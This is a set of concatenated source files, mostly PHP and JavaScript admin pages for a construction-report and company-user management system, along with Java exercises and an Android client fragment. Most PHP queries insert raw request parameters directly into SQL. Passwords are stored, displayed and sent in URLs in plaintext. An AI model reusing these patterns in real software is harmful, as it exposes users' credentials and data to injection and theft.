a = S.nextInt();
a*=10;
System.out.println(a);
S.close();
}
}
<file_sep>package com.qrv.domain;
public class LambdaExpression {
public static void main(String[] args) {
Processor stringProcessor = (String str) -> str.length();
String name = "Java Lambda";
int length = stringProcessor.getStringLength(name);
System.out.println(length);
stringProcessor = (String str) -> str.length() + 4 ;
length = stringProcessor.getStringLength(name);
System.out.println(length);
}
}
@FunctionalInterface
interface Processor {
int getStringLength(String str);
}<file_sep>package com.qrv.WITH_Interface;
import java.util.Scanner;
public class Test_Interface{
public static void main(String[] args) {
/*Numerictest square = (n) -> n*n;
Numerictest times2 = (n) -> n*2;
System.out.println(square.numberCompare(5));
System.out.println(times2.numberCompare(8));*/
/*Numerictest compare = (int x, int y) -> {
int max = x > y ? x: y;
return max;
};*/
System.out.println("Test");
}
}
<file_sep>package com.qrv.resources;
import java.awt.EventQueue;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JTextField;
public class MyFrame {
private JFrame frame;
private JTextField textField;
private JTextField textField_1;
/**
* Launch the application.
*/
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
MyFrame window = new MyFrame();
window.frame.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
/**
* Create the application.
*/
public MyFrame() {
initialize();
}
/**
* Initialize the contents of the frame.
*/
private void initialize() {
frame = new JFrame();
frame.setBounds(100, 100, 450, 300);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.getContentPane().setLayout(null);
JLabel lblEnterText = new JLabel("Enter text");
lblEnterText.setBounds(62, 29, 96, 14);
frame.getContentPane().add(lblEnterText);
JLabel lblEncrypt = new JLabel("Encrypt");
lblEncrypt.setBounds(62, 112, 46, 14);
frame.getContentPane().add(lblEncrypt);
textField = new JTextField();
textField.setBounds(236, 26, 86, 20);
frame.getContentPane().add(textField);
textField.setColumns(10);
textField_1 = new JTextField();
textField_1.setBounds(236, 109, 86, 20);
frame.getContentPane().add(textField_1);
textField_1.setColumns(10);
JButton btnEncrypt = new JButton("Encrypt");
btnEncrypt.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
String text;
StringBuffer passWord = new StringBuffer(""+ text);
for(int i = 0; i < passWord.length(); i++){
int temp = 0;
temp = (int)passWord.charAt(i);
temp = temp*9834 / 8942 /33 *90023243 * 9 +124324534 - 2335 ;
passWord.setCharAt(i, (char)temp);
}
}
});
btnEncrypt.setBounds(222, 201, 89, 23);
frame.getContentPane().add(btnEncrypt);
}
}
<file_sep>import React from "react"
import Display from './Display'
import ButtonPanel from './ButtonPanel'
import "./App.css"
class App extends React.Component {
render(){
return(
<div className = "component-app">
<Display />
<ButtonPanel/>
</div>
);
}
}
export default App;<file_sep>/**
*
*/
package vn.elca.training.dom;
import java.util.ArrayList;
import java.util.List;
/**
* @author coh
*
*/
public class ProjectStore {
private static final List<Project> projects = new ArrayList<Project>();
/**
* @return the projects
*/
public static List<Project> getProjects() {
return projects;
}
}
<file_sep>package com.qrv.WITH_Interface;
public interface Relatable {
public int isLargerThan (Readable other);
}
<file_sep>package com.qrv.WITH_Interface;
public class Student {
int mssv;
String ten;
String tinh;
public Student(int mssv, String ten, String tinh) {
this.mssv = mssv;
this.ten = ten;
this.tinh = tinh;
}
/*public String toString() {
return mssv + " " + ten + " " + tinh;
}*/
public static void main(String[] args) {
Student s1 = new Student(151, "quang", "tphcm");
System.out.println(s1);
String str = new String("ABCASDASD");
System.out.println(str);
}
}
| 93a7e398a1ed2e8eff0190fdbb8d7fea63f41a6d | [
"JavaScript",
"Java",
"Maven POM",
"HTML"
] | 21 | JavaScript | qrv123/work | 0be520181d609ee513e7a5b28488039cfc703cf9 | 4704064dfd13e9b395387d53d59a90270ec6bdcb |
refs/heads/main | <file_sep><?php
if(isset($_GET['com'])){
$name = $_GET['com'];
$add = $_GET['add'];
$tel = $_GET['tel'];
//会社IDを取得
require "conn.php";
$mysql_qry = "select * from companies_information_1 where companies_name = '$name' AND street_address = '$add' AND tel = '$tel';";
$result = mysqli_query($conn, $mysql_qry);
if(mysqli_num_rows($result) > 0){
$i = 0;
while($row = mysqli_fetch_assoc($result)){
$companies_id = $row['companies_id'];
//$flag = $row['flag'];
$i++;
}
session_start();
$_SESSION['company_id'] = $companies_id;
//$_SESSION['flag'] = $flag;
}
//会社IDからユーザ情報を取得
$users_id = [];
$users_name = [];
$user_pass = [];
$company_id = $_SESSION['company_id'];
require "conn.php";
$mysql_qry = "select * from users_information_1 where companies_id = '$company_id';";
$result = mysqli_query($conn, $mysql_qry);
if(mysqli_num_rows($result) > 0){
$i = 0;
while($row = mysqli_fetch_assoc($result)){
array_push($users_id,$row['users_id']);
array_push($users_name,$row['users_name']);
array_push($user_pass,$row['<PASSWORD>']);
$i++;
}
}
$json_array_users_id = json_encode($users_id);
$json_array_users_name = json_encode($users_name);
$json_array_user_pass = json_encode($user_pass);
//print_r($users_name);
}
if(isset($_POST['change'])){
session_start();
$companies_id = $_SESSION['company_id'];
$p_com = $_POST["company_name"];
$p_add = $_POST["address"];
$p_tel = $_POST["tel"];
//print_r($p_com);
//print_r($p_add);
//print_r($p_tel);
require "conn.php";
$mysql_qry = "UPDATE companies_information_1 SET companies_name='$p_com', street_address='$p_add', tel='$p_tel' WHERE companies_id = '$companies_id' ;";
$result = mysqli_query($conn, $mysql_qry);
echo "<script type='text/javascript'>window.close();</script>";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>ユーザー情報編集</title>
</head>
<body>
<h2>削除するユーザを選択、登録するユーザ情報を入力してください。</h2>
<h4><?php echo $name; ?></h4>
<form id="user_form" method = "post">
<table id = "user_info" name = "table_com">
<tr>
<th style="WIDTH: 50px" id="project">No</th>
<th style="WIDTH: 200px" id="user_id">ユーザID</th>
<th style="WIDTH: 200px" id="user_name">ユーザ名</th>
<th style="WIDTH: 200px" id="password"><PASSWORD></th>
<th style="WIDTH: 20px" id="check"></th>
<th style="WIDTH: 100px" id="edit"></th>
</tr>
</table>
<!--<input type = "button" id = "pro_button" name="editpro" value = "現場編集" onclick="editpro()">-->
</form>
<form method="post" id = "new">
<h4>ユーザ登録欄</h4>
<h6>No.1</h6>
ユーザID<input type = "text" id = "in_user_id_1" name = "user_id" value = ""><br />
ユーザ名<input type = "text" id = "in_user_name_1" name = "user_name" value = ""><br />
パスワード<input type ="password" id = "in_password_1" name="password" value = ""><br />
パスワード(再入力)<input type = "<PASSWORD>" id = "re_password_1" name="re_password" value = ""><br />
</form>
<p><input type="button" name="change" value="ユーザ入力欄追加" onclick = add() /></p>
<p><input type="button" name="change" value="追加/削除" onclick = change() /></p>
<script>
var i = 2;
if(<?php echo $json_array_users_name; ?> != ""){
//テーブル表示
//phpから配列の取得
var array_user_id = <?php echo $json_array_users_id; ?>;
var array_user_name = <?php echo $json_array_users_name; ?>;
var array_pass = <?php echo $json_array_user_pass; ?>;
//テーブル情報
var table = document.getElementById("user_info");
var tableLength = array_user_name.length;
var cell1 = [];
var cell2 = [];
var cell3 = [];
var cell4 = [];
var cell5 = [];
var cell6 = [];
//会社名
for(var j = 0; j < tableLength; j++){
var row = table.insertRow(-1);
cell1.push(row.insertCell(-1));
cell2.push(row.insertCell(-1));
cell3.push(row.insertCell(-1));
cell4.push(row.insertCell(-1));
cell5.push(row.insertCell(-1));
cell6.push(row.insertCell(-1));
cell1[j].innerHTML = table.rows.length-1;
cell2[j].innerHTML = array_user_id[j];
cell2[j].id = "user";
cell3[j].innerHTML = array_user_name[j];
cell4[j].innerHTML = array_pass[j];
cell4[j].value = "pass";
cell5[j].innerHTML = '<input type = "checkbox" name = "ch"/>';;
cell5[j].value = "check";
cell6[j].innerHTML = '<input type = "button" value = "ユーザー情報編集" onclick="edit_user_info(this)"/>';
}
}
</script>
<script>
var parent = document.getElementById("new");
function change(){
//登録用の配列
let p_user_id = [];
let p_user_name = [];
let p_password = [];
//入力欄の内容を取得
//console.log(parent.children.length);
//postするかしないかのフラグ
var post_flag = 0;
//繰り返し回数の決定
var num = 2;
if(parent.children.length == 10){
}else{
var pre_num = (parent.children.length - 10) / 9;
num = num + pre_num;
}
//console.log(num);
for(var cnt = 1; cnt < num; cnt++){
if(document.getElementById("in_user_id_"+cnt).value !== "" && document.getElementById("in_user_name_"+cnt).value !== "" && document.getElementById('in_password_'+cnt).value !== "" && document.getElementById('re_password_'+cnt).value !== ""){
if(document.getElementById('in_password_'+cnt).value == document.getElementById('re_password_'+cnt).value){
var p_id = document.getElementById("in_user_id_"+1).value;
//console.log(p_id);
p_user_id.push(document.getElementById("in_user_id_"+cnt).value);
p_user_name.push(document.getElementById("in_user_name_"+cnt).value);
p_password.push(document.getElementById("in_password_"+cnt).value);
post_flag = 1;
}
//console.log(p_user_id);
}else{
console.log("NG");
}
}
//削除ユーザの取得
var delete_user_id = [];
var delete_flag = 0;
//console.log(table.rows.length);
for(var p = 1; p < table.rows.length; p++){
//console.log("test");
if(table.rows[p].cells[4].children[0].checked == true){
delete_user_id.push(table.rows[p].cells[1].innerHTML);
delete_flag = 1;
//console.log(table.rows[p].cells[1].innerHTML);
}
}
if(delete_flag == 1){
if(post_flag == 0 && delete_flag == 1){
post_flag = 2;
}else{
post_flag = 3;
}
}
console.log(delete_user_id);
console.log(post_flag);
if(post_flag == 1){
//新規ユーザー情報をPOST
fd = new FormData();
//変更内容
fd.append('p_user_id',p_user_id);
fd.append('p_user_name',p_user_name);
fd.append('p_pass',<PASSWORD>);
xhttpreq = new XMLHttpRequest();
xhttpreq.onreadystatechange = function() {
if (xhttpreq.readyState == 4 && xhttpreq.status == 200) {
alert(xhttpreq.responseText);
}
};
xhttpreq.open("POST", "insert_user.php", true);
xhttpreq.addEventListener('load', (event) => {
window.close();
});
xhttpreq.send(fd);
}else if(post_flag == 2){
//deleteのみ
fd = new FormData();
//変更内容
fd.append('p_delete_user_id',delete_user_id);
xhttpreq = new XMLHttpRequest();
xhttpreq.onreadystatechange = function() {
if (xhttpreq.readyState == 4 && xhttpreq.status == 200) {
alert(xhttpreq.responseText);
}
};
xhttpreq.open("POST", "insert_user.php", true);
xhttpreq.addEventListener('load', (event) => {
window.close();
});
xhttpreq.send(fd);
}else if(post_flag == 3){
//postとdelete
fd = new FormData();
//変更内容
fd.append('p_user_id',p_user_id);
fd.append('p_user_name',p_user_name);
fd.append('p_pass',<PASSWORD>);
fd.append('p_delete_user_id',delete_user_id);
xhttpreq = new XMLHttpRequest();
xhttpreq.onreadystatechange = function() {
if (xhttpreq.readyState == 4 && xhttpreq.status == 200) {
alert(xhttpreq.responseText);
}
};
xhttpreq.open("POST", "insert_user.php", true);
xhttpreq.addEventListener('load', (event) => {
window.close();
});
xhttpreq.send(fd);
}
//console.log(document.getElementById("in_user_name_2").value);
}
function add(){
//ユーザー入力欄の追加
var no = document.createElement("h6");
var no_text = document.createTextNode("No." + i);
no.appendChild(no_text);
parent.appendChild(no);
var text0 = document.createTextNode("ユーザID");
var input0 = document.createElement("input");
input0.setAttribute('type', 'text');
input0.setAttribute('id', 'in_user_id_'+i);
input0.setAttribute('value', '');
parent.appendChild(text0);
parent.appendChild(input0);
parent.appendChild(document.createElement("br"));
var text1 = document.createTextNode("ユーザ名");
var input1 = document.createElement("input");
input1.setAttribute('type', 'text');
input1.setAttribute('id', 'in_user_name_'+i);
parent.appendChild(text1);
parent.appendChild(input1);
parent.appendChild(document.createElement("br"));
var text2 = document.createTextNode("パスワード");
var input2 = document.createElement("input");
input2.setAttribute('type', 'password');
input2.setAttribute('id', 'in_password_'+i);
parent.appendChild(text2);
parent.appendChild(input2);
parent.appendChild(document.createElement("br"));
var text3 = document.createTextNode("パスワード(再入力)");
var input3 = document.createElement("input");
input3.setAttribute('type', 'password');
input3.setAttribute('id', 're_password_'+i);
parent.appendChild(text3);
parent.appendChild(input3);
parent.appendChild(document.createElement("br"));
i = i + 1;
}
function edit_user_info(tr){
var row = tr.parentNode.parentNode;
var no = row.cells[0].innerHTML;
var user_id = row.cells[1].innerHTML;
var user_name = row.cells[2].innerHTML;
var pass = row.cells[3].innerHTML;
var param = "userid="+user_id+"&username="+user_name+"&pass="+pass+"&no="+no;
//console.log(row.cells[1].id);
window.open("c_edit_user_info.php?" + param, "",'width=400, height=300');
}
</script>
</body>
</html><file_sep><?php
require "conn.php";
$users_name = $_POST["users_name"];
$password = $_POST["<PASSWORD>"];
$position = $_POST["permission"];
$sql = "INSERT INTO users_information VALUES ('', '$users_name', '$password', '$position','');";
$result = mysqli_query($conn, $sql);
if($result){
echo "Data Inserted";
}
else{
echo "Failed";
}
?><file_sep><?php
//検索結果格納用配列
$row_array_project_name = [];
$row_array_company = [];
$row_array_report_place = [];
$row_array_date = [];
$row_array_report_name = [];
if(isset($_POST['search_pro'])){
require "conn.php";
/*$project = $_POST["project"];
$address = $_POST["address"];
$overview = $_POST["overview"];*/
//全部なし
//if($project =="" && $address == "" && $overview == ""){
$mysql_qry = "select * from reports_name_1 inner join projects_information_1 on reports_name_1.projects_id = projects_information_1.projects_id inner join companies_information_1 on reports_name_1.company_id = companies_information_1.companies_id inner join projects_kanri_1 on reports_name_1.projects_id = projects_kanri_1.projects_id;";
$result = mysqli_query($conn, $mysql_qry);
if(mysqli_num_rows($result) > 0){
$i = 0;
while($row = mysqli_fetch_assoc($result)){
array_push($row_array_project_name ,$row['projects_name']);
array_push($row_array_company, $row['companies_name']);
array_push($row_array_report_place, $row['reports_place']);
array_push($row_array_date, $row['update_date']);
array_push($row_array_report_name, $row['reports_name']);
$i++;
}
}
//}
}else{
}
$json_array_project_name = json_encode($row_array_project_name);
$json_array_company = json_encode($row_array_company);
$json_array_report_place = json_encode($row_array_report_place);
$json_array_date = json_encode($row_array_date);
$json_array_report_name = json_encode($row_array_report_name);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>報告書選択</title>
<link rel="stylesheet" href = "style.css">
</head>
<body>
<main>
<div class="main-container">
<div class="sidebar">
<h1>menu</h1>
<ul class="subnav">
<li>現場情報管理</li>
<li><a href="p_entry.php" >-現場登録</a></li>
<li><a href="p_edit.php" >-現場編集</a></li>
<li>施工会社管理</li>
<li><a href="c_entry.php">-施工会社登録</a></li>
<li><a href="c_edit.php" >-施工会社/ユーザ編集</a></li>
<li>施工状況確認</li>
<li><a href="select_report.php" style="background-color:gray">-報告書確認</a></li>
</ul>
</div>
<div class="maincol">
<div class="maincol-container">
<h2>表示する報告書を選択してください。</h2>
<p>
<form action="select_report.php" method = "post">
管理者ID<input type = "text" name = "kanri_id" value = ""><br />
現場名<input type ="text" name="project" value = ""><br />
施工会社<input type ="text" name="com" value = ""><br />
施工箇所<input type ="text" name="report_place" value = ""><br />
日付<input type ="text" name="date" value = ""><br />
<input type = "submit" id = "search_pro" name="search_pro" value = "検索">
</form>
</p>
<table id = "pro_info" name = "table_com">
<tr>
<th style="WIDTH: 50px" id="no">No</th>
<th style="WIDTH: 200px" id="t_project">現場名</th>
<th style="WIDTH: 200px" id="t_com">施工会社</th>
<th style="WIDTH: 200px" id="t_report_place">施工箇所</th>
<th style="WIDTH: 100px" id="t_date">日付</th>
<th style="WIDTH: 200px" id="t_report_name">報告書名</th>
<th style="WIDTH: 100px" id="editButton"></th>
</tr>
</table>
<!--<input type = "button" id = "pro_button" name="editpro" value = "現場編集" onclick="editpro()">-->
</div>
</div>
</div>
</main>
<script>
if(<?php echo $json_array_project_name; ?> != ""){
//テーブル表示
//phpから配列の取得
var array_project_name = <?php echo $json_array_project_name; ?>;
//console.log(array_project_name);
var array_company = <?php echo $json_array_company; ?>;
var array_report_place = <?php echo $json_array_report_place; ?>;
var array_date = <?php echo $json_array_date; ?>;
var array_report_name = <?php echo $json_array_report_name; ?>;
//テーブル情報
var table = document.getElementById("pro_info");
var tableLength = array_company.length;
var cell1 = [];
var cell2 = [];
var cell3 = [];
var cell4 = [];
var cell5 = [];
var cell6 = [];
var cell7 = [];
//会社名
for(var j = 0; j < tableLength; j++){
var row = table.insertRow(-1);
cell1.push(row.insertCell(-1));
cell2.push(row.insertCell(-1));
cell3.push(row.insertCell(-1));
cell4.push(row.insertCell(-1));
cell5.push(row.insertCell(-1));
cell6.push(row.insertCell(-1));
cell7.push(row.insertCell(-1));
cell1[j].innerHTML = table.rows.length-1;
cell2[j].innerHTML = array_project_name[j];
cell2[j].id = j + 1 +"company";
cell3[j].innerHTML = array_company[j];
cell3[j].value = "address";
cell4[j].innerHTML = array_report_place[j];
cell4[j].value = "TEL";
cell5[j].innerHTML = array_date[j];
cell6[j].innerHTML =array_report_name[j];
cell7[j].innerHTML = '<input type = "button" value = "表示" onclick="show_report(this)"/>';
//cell4[j].innerHTML = '<input type = "submit" id = "p_project" name="p_project" value = "編集">';
}
}
</script>
</body>
</html><file_sep><?php
if(isset($_GET['userid'])){
$user_id = $_GET['userid'];
$user_name = $_GET['username'];
$pass = $_GET['pass'];
$no = $_GET['no'];
session_start();
$_SESSION['user_id'] = $user_id;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>ユーザ情報編集</title>
</head>
<body>
<h2>ユーザ情報編集</h2>
<form action="c_edit_company_info.php" method="post">
<p>
ユーザID<input type = "text" name = "company_name" id = "i_id" value = "<?php echo $user_id; ?>"><br />
ユーザ名<input type ="text" name="address" id = "i_name" value = "<?php echo $user_name; ?>"><br />
パスワード<input type = "password" name="tel" id = "i_pass" value = "<?php echo $pass; ?>"><br />
パスワード(再入力)<input type = "password" name="tel" id = "i_pass_re" value = "<?php echo $pass; ?>"><br />
</p>
<!--<p><input type="button" name="change" value="変更" onclick = change() /></p>-->
</form>
<p><input type="button" name="change" value="変更" onclick = change() /></p>
<script>
var no = <?php echo $no; ?>;
function change(){
if(document.getElementById("i_pass").value == document.getElementById("i_pass_re").value){
//表示内容を親windowに反映
window.opener.document.getElementById("user_info").rows[no].cells[1].innerHTML = document.getElementById("i_id").value;
window.opener.document.getElementById("user_info").rows[no].cells[2].innerHTML = document.getElementById("i_name").value;
window.opener.document.getElementById("user_info").rows[no].cells[3].innerHTML = document.getElementById("i_pass").value;
//変更内容をPOST
fd = new FormData();
//変更内容
fd.append('p_user_id',document.getElementById("i_id").value);
fd.append('p_user_name',document.getElementById("i_name").value);
fd.append('p_pass',document.getElementById("i_pass").value);
xhttpreq = new XMLHttpRequest();
xhttpreq.onreadystatechange = function() {
if (xhttpreq.readyState == 4 && xhttpreq.status == 200) {
alert(xhttpreq.responseText);
}
};
xhttpreq.open("POST", "update_users_info.php", true);
xhttpreq.addEventListener('load', (event) => {
window.close();
});
xhttpreq.send(fd);
}
}
</script>
</body>
</html>
<file_sep><html>
<head><title>PHP checkFileName</title></head>
<body>
pasokon
<?php
//mysqlとの接続
$link = mysqli_connect('localhost', 'root', '');
if (!$link) {
die('Failed connecting'.mysqli_error());
}
//print('<p>Successed connecting</p>');
//DBの選択
$db_selected = mysqli_select_db($link , 'test_db');
if (!$db_selected){
die('Failed Selecting table'.mysql_error());
}
$name = $_POST["name"];
//文字列をutf8に設定
mysqli_set_charset($link , 'utf8');
//pdfテーブルの取得
$result_file = mysqli_query($link ,"SELECT * FROM users_information_1 where users_id = '$name';");
if (!$result_file) {
die('Failed query'.mysql_error());
}
//データ格納用配列の取得
$row_array_file = array();
$i = 0;
while ($row = mysqli_fetch_assoc ($result_file)) {
$row_array_file[$i] = $row;
$i++;
//print('<p>');
//print('projectName='.$row['projectName']);
//print(',path='.$row['path']);
//print(',fileName='.$row['fileName']);
//print('</p>');
}
/* データの格納された配列を、JSON形式にして吐き出す */
header('Content-Type: application/json; charset=utf-8');
echo json_encode($row_array_file, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES); //JSON形式にして返す
// MySQLに対する処理
$close_flag = mysqli_close($link);
?>
</body>
</html><file_sep><?php
if(isset($_POST['p_delete_user_id'])){
$array_del_user = preg_split("/[\s,]+/", $_POST['p_delete_user_id']);
require "conn.php";
for($i = 0; $i < count($array_del_user); $i++){
$sql = "delete from users_information_1 where users_id = '$array_del_user[$i]';";
$result = mysqli_query($conn, $sql);
if($result){
echo "Data Delete";
}
else{
echo "Delete Failed";
}
}
}
if(isset($_POST['p_user_id'])){
//各要素を配列に変更
$array_user_id = preg_split("/[\s,]+/", $_POST['p_user_id']);
$array_user_name = preg_split("/[\s,]+/", $_POST['p_user_name']);
$array_password = preg_split("/[\s,]+/", $_POST['p_pass']);
//print_r($array_company_name);
//print_r($array_address);
//print_r($array_TEL);
session_start();
$companies_id = $_SESSION['company_id'];
//$flag = $_SESSION['flag'];
$flag ="1";
for($i = 0; $i < count($array_user_id); $i++){
require "conn.php";
$sql = "INSERT INTO users_information_1 VALUES ('', '$array_user_id[$i]', '$array_user_name[$i]', '$array_password[$i]', '$companies_id', '$flag', '');";
$result = mysqli_query($conn, $sql);
if($result){
echo "Data Inserted";
exit;
}
else{
echo "Insert Failed";
}
}
}
?><file_sep><?php
if(isset($_POST['p_user_id'])){
session_start();
$user_id = $_SESSION['user_id'];
$p_user_id = $_POST["p_user_id"];
$p_user_name = $_POST["p_user_name"];
$p_pass = $_POST["p_pass"];
//print_r($p_user_id);
//print_r($p_user_name);
//print_r($p_pass);
require "conn.php";
$mysql_qry = "UPDATE users_information_1 SET users_id='$p_user_id', users_name='$p_user_name', password='$<PASSWORD>' WHERE users_id = '$user_id' ;";
$result = mysqli_query($conn, $mysql_qry);
//echo "<script type='text/javascript'>window.close();</script>";
}
?><file_sep><html>
<head><title>PHP get_pictures_name_information</title></head>
<body>
<?php
//mysqlとの接続
$link = mysqli_connect('localhost', 'root', '');
if (!$link) {
die('Failed connecting'.mysqli_error());
}
//print('<p>Successed connecting</p>');
//DBの選択
$db_selected = mysqli_select_db($link , 'test_db');
if (!$db_selected){
die('Failed Selecting table'.mysql_error());
}
$projects_id = $_POST["projects_id"];
//文字列をutf8に設定
mysqli_set_charset($link , 'utf8');
//pdfテーブルの取得
$result_pictures_information = mysqli_query($link ,"SELECT * FROM report_name_1 WHERE projects_id ='$projects_id';");
if (!$result_pictures_information) {
die('Failed query'.mysql_error());
}
//データ格納用配列の取得
$row_array_pictures_information = array();
$i = 0;
while ($row = mysqli_fetch_assoc ($result_pictures_information)) {
$row_array_pictures_information[$i] = $row;
$i++;
}
/* データの格納された配列を、JSON形式にして吐き出す */
header('Content-Type: application/json; charset=utf-8');
echo json_encode($row_array_pictures_information, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES); //JSON形式にして返す
// MySQLに対する処理
$close_flag = mysqli_close($link);
?>
</body>
</html><file_sep>package com.example.pdfview;
import androidx.annotation.RequiresApi;
import androidx.appcompat.app.AppCompatActivity;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Color;
import android.graphics.drawable.GradientDrawable;
import android.os.AsyncTask;
import android.os.Build;
import android.os.Bundle;
import android.util.Log;
import android.view.Gravity;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.ScrollView;
import android.widget.TextView;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class showCreatedReport extends AppCompatActivity {
//php宛先
//レポート名から取得
String fromReportName = "http://10.20.170.52/sample/rep_reportName.php";
//プロジェクト情報から取得
String fromProjectId = "http://10.20.170.52/sample/rep_projectId.php";
//会社IDから取得
String fromCompanyId = "http://10.20.170.52/sample/rep_company.php";
//報告書名から写真を取得
String fromReportNameForPic = "http://10.20.170.52/sample/rep_reportName_pic.php";
//写真名から日付と場所IDを取得
String fromPictureName = "http://10.20.170.52/sample/rep_pictureName.php";
//施工場所IDから施工場所名を取得
String fromPlaceId = "http://10.20.170.52/sample/rep_placeId.php";
//画面情報
ScrollView main;
TextView t1,t2,t3,t4,t5,t6,t7,t8,t9,t10,t11,t12,t13,t14,t15,t16,t17,t18,t19,t20,t21,t22,t23,t24;
LinearLayout ver, h1,h2,h3,h4,h5,h6,h7,h8;
View view1, view2;
LinearLayout[] hor1, hor2,hor3;
TextView[] textView1,textView2,textView3,textView4,textView5,textView6;
ImageView[] imageView;
View[] view;
//現場情報
static String g_id = MyPage.projects_id;
static String g_name;
static String g_address;
static String g_overview;
//施工者情報
static String u_id = MainActivity.companyId;
static String u_name;
static String u_address;
static String u_tel;
static String u_reporter;
//施工状況
static ArrayList<String> c_id;
static ArrayList<String> c_name;
static ArrayList<String> c_date; //= new ArrayList<>();
static ArrayList<String> c_pic_name;
static ArrayList<String> c_comment;
static ArrayList<Bitmap> c_pic;
//報告書名
String selectedReport;
String regex_reporter = "\"reporter\":.+?\",";
String regex_projects_name = "\"projects_name\":.+?\",";
String regex_projects_street_address = "\"projects_street_address\":.+?\",";
String regex_overview = "\"overview\":.+?\",";
String regex_company_name = "\"companies_name\":.+?\",";
String regex_street_address = "\"street_address\":.+?\",";
String regex_tel = "\"tel\":.+?\",";
String regex_pictures_name = "\"pictures_id\":.+?\",";
String regex_comment = "\"comment\":.+?\",";
String regex_place_id = "\"report_place_id\":.+?\",";
String regex_date = "\"date\":.+?\",";
String regex_place = "\"report_place_name\":.+?\",";
public GradientDrawable drawable0, drawable1, drawable2;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
//setContentView(R.layout.activity_show_created_report);
selectedReport = getIntent().getStringExtra("selectedReport");
System.out.println(selectedReport);
//背景の定義①
drawable0 = new GradientDrawable();
drawable0.setStroke(3, Color.parseColor("#000000"));
drawable0.setCornerRadius(3);
drawable0.setColor(Color.parseColor("#FFCC99"));
drawable1 = new GradientDrawable();
drawable1.setStroke(3, Color.parseColor("#000000"));
drawable1.setCornerRadius(3);
drawable1.setColor(Color.parseColor("#FFE4C4"));
//背景の定義②
drawable2 = new GradientDrawable();
drawable2.setStroke(3, Color.parseColor("#000000"));
drawable2.setCornerRadius(3);
main = new ScrollView(this);
setContentView(main);
showingCreatedReport sh = new showingCreatedReport();
sh.execute(fromReportName, fromProjectId, fromCompanyId, fromReportNameForPic, fromPictureName, fromPlaceId);
}
private class showingCreatedReport extends AsyncTask<String, Void, String> {
@RequiresApi(api = Build.VERSION_CODES.KITKAT)
@Override
public String doInBackground(String... params){
String params0_url = params[0];
String params1_url = params[1];
String params2_url = params[2];
String params3_url = params[3];
String params4_url = params[4];
String params5_url = params[5];
HttpURLConnection con = null;
//http接続のレスポンスデータとして取得するInputStreamオブジェクトを宣言(try外)
InputStream is = null;
//返却用の変数
StringBuffer conResult;// = new StringBuffer();
//レポート名からプロジェクトID、報告者、会社IDの取得
conResult = new StringBuffer();
try {
URL url = new URL(params0_url);
con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoInput(true);
con.setDoOutput(true);
OutputStream outputStream = con.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
String post_data = URLEncoder.encode("reports_name", "UTF-8") + "=" + URLEncoder.encode(selectedReport, "UTF-8");
System.out.println(post_data);
bufferedWriter.write(post_data);
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
InputStream inputStream = con.getInputStream();
String encoding = con.getContentEncoding();
if (null == encoding) {
encoding = "UTF-8";
}
InputStreamReader inReader = new InputStreamReader(inputStream, encoding);
BufferedReader bufferedReader = new BufferedReader(inReader);
String line = bufferedReader.readLine();
while (line != null) {
conResult.append(line);
line = bufferedReader.readLine();
}
System.out.println(conResult.toString());
bufferedReader.close();
inputStream.close();
con.disconnect();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
//結果の取得
Pattern p_reporter= Pattern.compile(regex_reporter);
checkReporter(p_reporter, conResult.toString());
System.out.println(u_reporter);
//プロジェクトIDから現場情報の取得
conResult = new StringBuffer();
try {
URL url = new URL(params1_url);
con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoInput(true);
con.setDoOutput(true);
OutputStream outputStream = con.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
//POSTデータの編集
//comment[i] = editComment[i].getText().toString();
String post_data = URLEncoder.encode("projects_id", "UTF-8") + "=" + URLEncoder.encode(g_id, "UTF-8");
//URLEncoder.encode("users_id", "UTF-8") + "=" + URLEncoder.encode(userId, "UTF-8") + "&" +
System.out.println(post_data);
bufferedWriter.write(post_data);
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
InputStream inputStream = con.getInputStream();
String encoding = con.getContentEncoding();
if (null == encoding) {
encoding = "UTF-8";
}
InputStreamReader inReader = new InputStreamReader(inputStream, encoding);
BufferedReader bufferedReader = new BufferedReader(inReader);
String line = bufferedReader.readLine();
while (line != null) {
conResult.append(line);
line = bufferedReader.readLine();
}
System.out.println(conResult.toString());
bufferedReader.close();
inputStream.close();
con.disconnect();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
//結果の取得
Pattern p_projectName= Pattern.compile(regex_projects_name);
checkRProjectsName(p_projectName, conResult.toString());
System.out.println(g_name);
Pattern p_projectsAddress= Pattern.compile(regex_projects_street_address);
checkProjectsAddress(p_projectsAddress, conResult.toString());
System.out.println(g_address);
Pattern p_overview= Pattern.compile(regex_overview);
